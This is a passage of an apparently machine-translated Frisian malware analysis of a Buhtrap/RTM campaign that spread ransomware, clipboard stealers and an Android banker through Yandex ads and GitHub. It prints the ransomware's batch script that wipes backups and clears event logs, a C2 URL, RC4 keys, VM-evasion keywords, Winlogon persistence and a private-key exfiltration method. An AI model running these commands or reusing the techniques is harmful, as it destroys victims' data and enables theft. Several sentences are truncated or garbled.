Om accountants te rjochtsjen yn in cyberoanfal, kinne jo wurkdokuminten brûke wêr't se online sykje. Dit is rûchwei wat in cybergroep de ôfrûne moannen dien hat, bekend efterdoarren te fersprieden.
De boarnekoade fan Buhtrap is yn it ferline online lekt, sadat elkenien it kin brûke. Wy hawwe gjin ynformaasje oangeande RTM koade beskikberens.
Yn dizze post sille wy jo fertelle hoe't de oanfallers malware ferspriede mei Yandex.Direct en hosted it op GitHub. De post sil ôfslute mei in technyske analyze fan 'e malware.
Buhtrap en RTM binne werom yn bedriuw
Mechanisme fan fersprieding en slachtoffers
De ferskate payloads levere oan slachtoffers diele in mienskiplik fuortplanting meganisme. Alle kweade triemmen makke troch de oanfallers waarden pleatst yn twa ferskillende GitHub repositories.
Typysk befette it repository ien ynlaadbere kweade bestân, dy't faak feroare. Om't GitHub jo de skiednis fan feroaringen yn in repository kinne besjen, kinne wy sjen hokker malware yn in bepaalde perioade ferspraat is. Om it slachtoffer te oertsjûgjen om it kweade bestân te downloaden, waard de webside blanki-shabloni24[.]ru, werjûn yn 'e boppesteande figuer, brûkt.
It ûntwerp fan 'e side en alle nammen fan' e kweade triemmen folgje ien konsept - formulieren, sjabloanen, kontrakten, samples, ensfh Yn betinken nommen dat Buhtrap en RTM software binne al brûkt yn oanfallen op accountants yn it ferline, wy oannommen dat de strategy yn 'e nije kampanje is itselde. De ienige fraach is hoe't it slachtoffer by de side fan 'e oanfallers kaam.
Ynfeksje
Op syn minst ferskate potinsjele slachtoffers dy't einige op dizze side waarden oanlutsen troch kweade reklame. Hjirûnder is in foarbyld URL:
https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456
Sa't jo sjen kinne út de keppeling, de banner waard pleatst op de legitime boekhâlding foarum bb.f2[.]kz. It is wichtich om te merken dat de banners ferskynden op ferskate siden, allegearre hiene deselde kampanje id (blanki_rsya), en meast relatearre oan boekhâlding of juridyske bystân tsjinsten. De URL lit sjen dat it potinsjele slachtoffer it fersyk "downloade faktuerformulier" brûkte, dy't ús hypoteze fan rjochte oanfallen stipet. Hjirûnder binne de siden wêr't de banners ferskynden en de oerienkommende sykfragen.
- download faktuer formulier - bb.f2[.]kz
- sample kontrakt - Ipopen[.]ru
- applikaasje klacht sample - 77metrov[.]ru
- oerienkomst formulier - blank-dogovor-kupli-prodazhi[.]ru
- sample rjochtbank petysje - zen.yandex[.]ru
- sample klacht - yurday[.]ru
- sample kontrakt formulieren - Regforum[.]ru
- kontraktfoarm – assistentus[.]ru
- Sample appartemint oerienkomst - napravah[.]com
- samples fan juridyske kontrakten - avito[.]ru
De blanki-shabloni24[.]ru-side is mooglik konfigurearre om in ienfâldige fisuele beoardieling troch te jaan. Typysk liket in advertinsje dy't ferwiist nei in profesjoneel útsjende side mei in keppeling nei GitHub net as iets fansels min. Derneist uploaden de oanfallers kweade bestannen nei it repository allinich foar in beheinde perioade, wierskynlik tidens de kampanje. Meast fan 'e tiid befette it GitHub-repository in leech zip-argyf as in lege EXE-bestân. Sa koene oanfallers advertinsjes ferspriede fia Yandex.Direct op siden dy't meast wierskynlik besocht waarden troch accountants dy't kamen yn antwurd op spesifike sykfragen.
Litte wy dan nei de ferskate payloads sjen dy't op dizze manier ferdield binne.
Payload analyze
Chronology fan distribúsje
De kweade kampanje begon ein oktober 2018 en is aktyf op it momint fan skriuwen. Sûnt it heule repository iepenbier beskikber wie op GitHub, hawwe wy in krekte tiidline gearstald fan 'e ferdieling fan seis ferskillende malwarefamyljes (sjoch figuer hjirûnder). Wy hawwe in rigel tafoege dy't toant wannear't de bannerkeppeling waard ûntdutsen, lykas mjitten troch ESET-telemetry, foar fergeliking mei git-histoarje. Sa't jo sjen kinne, korrelearret dit goed mei de beskikberens fan 'e lading op GitHub. De diskrepânsje oan 'e ein fan febrewaris kin ferklearre wurde troch it feit dat wy gjin diel fan' e feroaringsskiednis hienen, om't it repository fan GitHub fuorthelle waard foardat wy it folslein krije koene.
figuer 1. Chronology fan malware distribúsje.
Code Signing sertifikaten
De kampanje brûkte meardere sertifikaten. Guon waarden tekene troch mear as ien malware-famylje, wat fierder oanjout dat ferskate samples ta deselde kampanje hearden. Nettsjinsteande de beskikberens fan 'e privee kaai, hawwe operators de binaries net systematysk tekene en de kaai net brûkt foar alle samples. Ein febrewaris 2019 begon oanfallers ûnjildige hantekeningen te meitsjen mei in sertifikaat yn eigendom fan Google wêrfoar se de privee kaai net hiene.
Alle sertifikaten belutsen by de kampanje en de malware-famyljes dy't se tekenje, wurde yn 'e tabel hjirûnder neamd.
Wy hawwe dizze sertifikaten foar ûndertekening fan koade ek brûkt om keppelings te meitsjen mei oare malwarefamyljes. Foar de measte sertifikaten hawwe wy gjin samples fûn dy't net waarden ferspraat fia in GitHub-repository. It TOV "MARIYA" sertifikaat waard lykwols brûkt om malware te tekenjen dy't ta it botnet hearre
Win32/Filecoder.Buhtrap
De earste komponint dy't ús oandacht fûn wie de nij ûntdutsen Win32/Filecoder.Buhtrap. Dit is in Delphi-binêr bestân dat soms ynpakt is. It waard benammen ferspraat yn febrewaris-maart 2019. It gedraacht sa't it past by in ransomware-programma - it siket lokale skiven en netwurkmappen en fersiferet de bestannen dy't it fynt. It hat gjin ynternetferbining nedich om kompromittearre te wurden, om't it gjin kontakt makket mei de tsjinner om fersiferingskaaien te ferstjoeren. Ynstee foeget it in "token" ta oan it ein fan it losjildberjocht, en suggerearret it brûken fan e-post of Bitmessage om kontakt te meitsjen mei operators.
Om safolle mooglik gefoelige boarnen te fersiferjen, rint Filecoder.Buhtrap in tried dy't ûntworpen is om kaaisoftware ôf te sluten dy't mooglik iepen bestânhannelers hawwe mei weardefolle ynformaasje dy't mei fersifering kinne ynterferearje. De doelprosessen binne benammen databasebehearsystemen (DBMS). Dêrnjonken wisket Filecoder.Buhtrap logbestannen en backups om gegevensherstel lestich te meitsjen. Om dit te dwaan, útfiere it batchskript hjirûnder.
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled
Filecoder.Buhtrap brûkt in legitime online IP Logger-tsjinst ûntworpen om ynformaasje te sammeljen oer websidebesikers. Dit is bedoeld om slachtoffers fan 'e ransomware te folgjen, wat de ferantwurdlikens is fan' e kommandorigel:
mshta.exe "javascript:document.write('');"
Triemmen foar fersifering wurde selektearre as se net oerienkomme mei trije útslutingslisten. Earst binne bestannen mei de folgjende tafoegings net fersifere: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys en .bat. Twads, alle bestannen wêrfoar it folsleine paad mapstrings befettet út 'e list hjirûnder binne útsletten.
.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel
Tredde, beskate bestânsnammen binne ek útsletten fan fersifering, wêrûnder de triemnamme fan it losjildberjocht. De list wurdt hjirûnder presintearre. Fansels binne al dizze útsûnderingen bedoeld om de masine draaiend te hâlden, mar mei minimale roadworthiness.
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe
Triem fersifering skema
Ienris útfierd, genereart de malware in 512-bit RSA-kaaipaar. De privee eksponint (d) en modulus (n) wurde dan fersifere mei in hurdkodearre 2048-bit iepenbiere kaai (iepenbiere eksponint en modulus), zlib-ynpakt, en base64 kodearre. De koade ferantwurdlik foar dit wurdt werjûn yn figuer 2.
figuer 2. Resultaat fan Hex-Rays dekompilaasje fan de 512-bit RSA kaai pear generaasje proses.
Hjirûnder is in foarbyld fan platte tekst mei in generearre privee kaai, dat is in token ferbûn oan it losjild berjocht.
DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239
De iepenbiere kaai fan 'e oanfallers wurdt hjirûnder jûn.
e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD
De bestannen wurde fersifere mei AES-128-CBC mei in 256-bit kaai. Foar elke fersifere triem wurdt in nije kaai en in nije inisjalisaasjevektor oanmakke. De kaaiynformaasje wurdt tafoege oan it ein fan it fersifere bestân. Litte wy it formaat fan it fersifere bestân beskôgje.
Fersifere bestannen hawwe de folgjende koptekst:
De boarnebestângegevens mei de tafoeging fan 'e magyske VEGA-wearde binne fersifere nei de earste 0x5000 bytes. Alle ûntsiferynformaasje is taheakke oan in bestân mei de folgjende struktuer:
- De marker foar bestânsgrutte befettet in markearring dat oanjout oft it bestân grutter is as 0x5000 bytes yn grutte
- AES-kaaiblob = ZlibCompress(RSAEncrypt(AES-kaai + IV, iepenbiere kaai fan it generearre RSA-kaaipaar))
- RSA key blob = ZlibCompress(RSAEncrypt (generearre RSA privee kaai, hurdkodearre RSA iepenbiere kaai))
Win32/ClipBanker
Win32/ClipBanker is in komponint dat tusken ein oktober oant begjin desimber 2018 ferspraat is. Syn rol is om de ynhâld fan it klamboerd te kontrolearjen, it siket nei adressen fan cryptocurrency-slúven. Nei it fêststellen fan it doelportemonnee-adres, ferfangt ClipBanker it mei in adres dat leaud wurdt ta de operators te hearren. De samples dy't wy ûndersochten wiene noch yn doazen noch obfuscated. It ienige meganisme dat brûkt wurdt om gedrach te maskeren is string-fersifering. Operator wallet-adressen wurde fersifere mei RC4. Doel Krypto-munten binne Bitcoin, Bitcoin cash, Dogecoin, Ethereum en Ripple.
Yn 'e perioade dat de malware ferspraat nei de Bitcoin-wallets fan' e oanfallers, waard in lyts bedrach stjoerd nei VTS, dy't twifele oer it sukses fan 'e kampanje. Derneist is d'r gjin bewiis om te suggerearjen dat dizze transaksjes hielendal relatearre wiene oan ClipBanker.
Win32/RTM
De Win32/RTM-komponint waard begjin maart 2019 ferskate dagen ferspraat. RTM is in Trojaanske bankier skreaun yn Delphi, rjochte op banksystemen op ôfstân. Yn 2017 publisearre ESET-ûndersikers
Buhtrap Loader
In skoftke wie in downloader beskikber op GitHub dy't net gelyk wie oan eardere Buhtrap-ark. Hy draait him om https://94.100.18[.]67/RSS.php?<some_id>
om de folgjende poadium te krijen en laadt it direkt yn it ûnthâld. Wy kinne twa gedrach fan 'e twadde etappe koade ûnderskiede. Yn 'e earste URL joech RSS.php de Buhtrap-efterdoar direkt troch - dizze efterdoar is heul ferlykber mei de beskikbere nei't de boarnekoade útlekt.
Ynteressant sjogge wy ferskate kampanjes mei de Buhtrap-efterdoar, en se wurde nei alle gedachten troch ferskate operators útfierd. Yn dit gefal is it wichtichste ferskil dat de efterdoar direkt yn it ûnthâld wurdt laden en it gewoane skema net brûkt mei it DLL-ynsetproses wêr't wy oer praat hawwe
It twadde, mear komplekse gedrach wie dat de RSS.php URL waard trochjûn oan in oare loader. It ymplementearre wat obfuscation, lykas it opnij opbouwen fan de dynamyske ymporttabel. It doel fan 'e bootloader is om kontakt te meitsjen mei de C&C-tsjinner
Android / Spy.Banker
Ynteressant waard ek in komponint foar Android fûn yn it GitHub-repository. Hy wie mar ien dei yn 'e haadtak - 1 novimber 2018. Neist it pleatsen op GitHub, fynt ESET-telemetry gjin bewiis dat dizze malware wurdt ferspraat.
De komponint waard host as in Android Application Package (APK). It is swier obfuscated. It kweade gedrach is ferburgen yn in fersifere JAR yn 'e APK. It is fersifere mei RC4 mei dizze kaai:
key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]
Deselde kaai en algoritme wurde brûkt om strings te fersiferjen. JAR leit yn APK_ROOT + image/files
. De earste 4 bytes fan it bestân befetsje de lingte fan 'e fersifere JAR, dy't direkt nei it lingtefjild begjint.
Nei it ûntsiferjen fan it bestân, ûntdutsen wy dat it Anubis wie - earder
- mikrofoan opname
- it nimmen fan screenshots
- it krijen fan GPS-koördinaten
- keylogger
- apparaat gegevens fersifering en ransom fraach
- ferstjoere spam
Ynteressant brûkte de bankier Twitter as in reservekopykommunikaasjekanaal om in oare C&C-tsjinner te krijen. It stekproef dat wy analysearren brûkte it @JonesTrader-akkount, mar op it momint fan analyse wie it al blokkearre.
De bankier befettet in list mei doelapplikaasjes op it Android-apparaat. It is langer dan de list krigen yn 'e Sophos-stúdzje. De list omfettet in protte bankapplikaasjes, online winkelprogramma's lykas Amazon en eBay, en cryptocurrency-tsjinsten.
MSIL/ClipBanker.IH
De lêste komponint ferspraat as ûnderdiel fan dizze kampanje wie de .NET Windows útfierbere, dy't ferskynde yn maart 2019. De measte fan 'e studearre ferzjes waarden ferpakt mei ConfuserEx v1.0.0. Lykas ClipBanker brûkt dizze komponint it klamboerd. Syn doel is in breed oanbod fan cryptocurrencies, lykas oanbiedingen op Steam. Derneist brûkt hy de IP Logger-tsjinst om de Bitcoin privee WIF-kaai te stellen.
Beskermingsmeganismen
Njonken de foardielen dy't ConfuserEx leveret by it foarkommen fan debuggen, dumping en manipulaasje, omfettet it komponint de mooglikheid om antivirusprodukten en firtuele masines te detektearjen.
Om te kontrolearjen dat it rint yn in firtuele masine, brûkt de malware de ynboude Windows WMI kommandorigel (WMIC) om BIOS-ynformaasje te freegjen, nammentlik:
wmic bios
Dan parses it programma de kommando-útfier en siket nei trefwurden: VBOX, VirtualBox, XEN, qemu, bochs, VM.
Om antivirusprodukten te detektearjen, stjoert malware in Windows Management Instrumentation (WMI) fersyk nei Windows Security Center mei help fan ManagementObjectSearcher
API lykas hjirûnder werjûn. Nei it dekodearjen fan base64 sjocht de oprop der sa út:
ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')
figuer 3. Proses foar in identifisearje antivirus produkten.
Derneist kontrolearret de malware oft
Persistinsje
De ferzje fan malware dy't wy studearre kopiearret himsels yn %APPDATA%googleupdater.exe
en stelt it "ferburgen" attribút foar de google map yn. Dan feroaret se de wearde SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell
yn it Windows-register en foeget it paad ta updater.exe
. Op dizze manier sil de malware wurde útfierd elke kear as de brûker ynloggt.
Malicious gedrach
Lykas ClipBanker, kontrolearret de malware de ynhâld fan it klamboerd en siket nei cryptocurrency-slúfadressen, en as fûn, ferfangt it mei ien fan 'e adressen fan' e operator. Hjirûnder is in list mei doeladressen basearre op wat is fûn yn 'e koade.
BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL
Foar elk type adres is der in oerienkommende reguliere ekspresje. De STEAM_URL-wearde wurdt brûkt om it Steam-systeem oan te fallen, lykas te sjen is út 'e reguliere ekspresje dy't brûkt wurdt om te definiearjen yn' e buffer:
b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b
Exfiltration kanaal
Neist it ferfangen fan adressen yn 'e buffer, rjochtet de malware de privee WIF-kaaien fan Bitcoin, Bitcoin Core en Electrum Bitcoin wallets. It programma brûkt plogger.org as in eksfiltraasjekanaal om de WIF privee kaai te krijen. Om dit te dwaan, foegje operators privee-kaaigegevens ta oan de HTTP-header fan User-Agent, lykas hjirûnder werjûn.
figuer 4. IP Logger konsole mei útfier gegevens.
Operators brûkten iplogger.org net om wallets te eksfiltrearjen. Se hawwe wierskynlik in oare metoade brûkt fanwegen de limyt fan 255 karakters yn it fjild User-Agent
werjûn yn de IP Logger web ynterface. Yn 'e samples dy't wy studearre, waard de oare útfiertsjinner opslein yn' e omjouwingsfariabele DiscordWebHook
. Ferrassend is dizze omjouwingsfariabele net oeral yn 'e koade tawiisd. Dit suggerearret dat de malware noch yn ûntwikkeling is en de fariabele wurdt tawiisd oan de testmasine fan 'e operator.
D'r is in oar teken dat it programma yn ûntwikkeling is. De binêre triem omfettet twa iplogger.org URL's, en beide wurde frege as gegevens wurde eksfiltreare. Yn in fersyk nei ien fan dizze URL's wurdt de wearde yn it Referer-fjild foarôfgien troch "DEV /". Wy hawwe ek in ferzje fûn dy't net ferpakt wie mei ConfuserEx, de ûntfanger foar dizze URL hjit DevFeedbackUrl. Op grûn fan 'e namme fan' e omjouwingsfariabele leauwe wy dat de operators fan plan binne de legitime tsjinst Discord en har web-interception-systeem te brûken om cryptocurrency-slúven te stellen.
konklúzje
Dizze kampanje is in foarbyld fan it brûken fan legitime advertinsjetsjinsten yn cyberoanfallen. It skema is rjochte op Russyske organisaasjes, mar wy soene net ferrast wêze om sa'n oanfal te sjen mei net-Russyske tsjinsten. Om kompromis te foarkommen, moatte brûkers fertrouwen hawwe yn 'e reputaasje fan' e boarne fan 'e software dy't se downloade.
In folsleine list fan yndikatoaren fan kompromis en MITER ATT & CK attributen is beskikber op
Boarne: www.habr.com